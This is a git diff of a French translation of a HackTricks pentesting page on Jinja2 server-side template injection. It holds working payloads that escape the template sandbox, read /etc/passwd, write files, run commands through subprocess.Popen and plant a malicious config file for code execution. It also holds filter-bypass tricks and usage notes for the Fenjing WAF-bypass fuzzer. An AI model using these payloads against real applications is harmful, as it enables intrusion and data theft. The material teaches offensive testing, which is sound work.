Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s

This commit is contained in:
Translator 2024-06-04 22:08:43 +00:00
parent 3d6fc7437a
commit 9218447aaa

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **Divers**
### **Déclaration de débogage**
Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
Si l'extension Debug est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
```python
<pre>
@ -65,7 +63,7 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
```
## **Injection Jinja**
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**.
### Accès aux objets globaux
@ -85,7 +83,7 @@ Ensuite, à partir de ces objets, nous devons accéder à la classe : **`<class
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
Consultez ces exemples :
Vérifiez ces exemples :
```python
# To access a class object
[].__class__
@ -125,7 +123,7 @@ dict.__mro__[-1]
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### Évasion de RCE
### Échappement de RCE
**Ayant récupéré** `<class 'object'>` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
@ -137,7 +135,7 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
**Exécution de code à distance (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -205,19 +203,19 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
**Éviter l'encodage HTML**
Par défaut, Flask encode en HTML tout ce qui se trouve à l'intérieur d'un modèle pour des raisons de sécurité:
Par défaut, Flask encode en HTML tout l'intérieur d'un modèle pour des raisons de sécurité:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'ils soient **encodés en HTML**, comme ceci :
**Le filtre `safe`** nous permet d'injecter du JavaScript et du HTML dans la page **sans** qu'il soit **encodé en HTML**, comme ceci :
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**Exécution de code à distance en écrivant un fichier de configuration malveillant.**
**RCE en écrivant un fichier de configuration malveillant.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -241,7 +239,7 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
## Injection Jinja sans **\<class 'object'>**
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'obtenir une **RCE sans utiliser cette classe.**\
Si vous parvenez à accéder à n'importe quelle **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
Si vous parvenez à accéder à une **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout **autre** objet **global** intéressant auquel vous avez accès avec :
```bash
@ -284,10 +282,37 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门针对CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器搜索绕过并提供交互式控制台。
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Références
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Vérifiez [l'astuce d'attribut pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Vérifiez [l'astuce d'attr pour contourner les caractères interdits ici](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)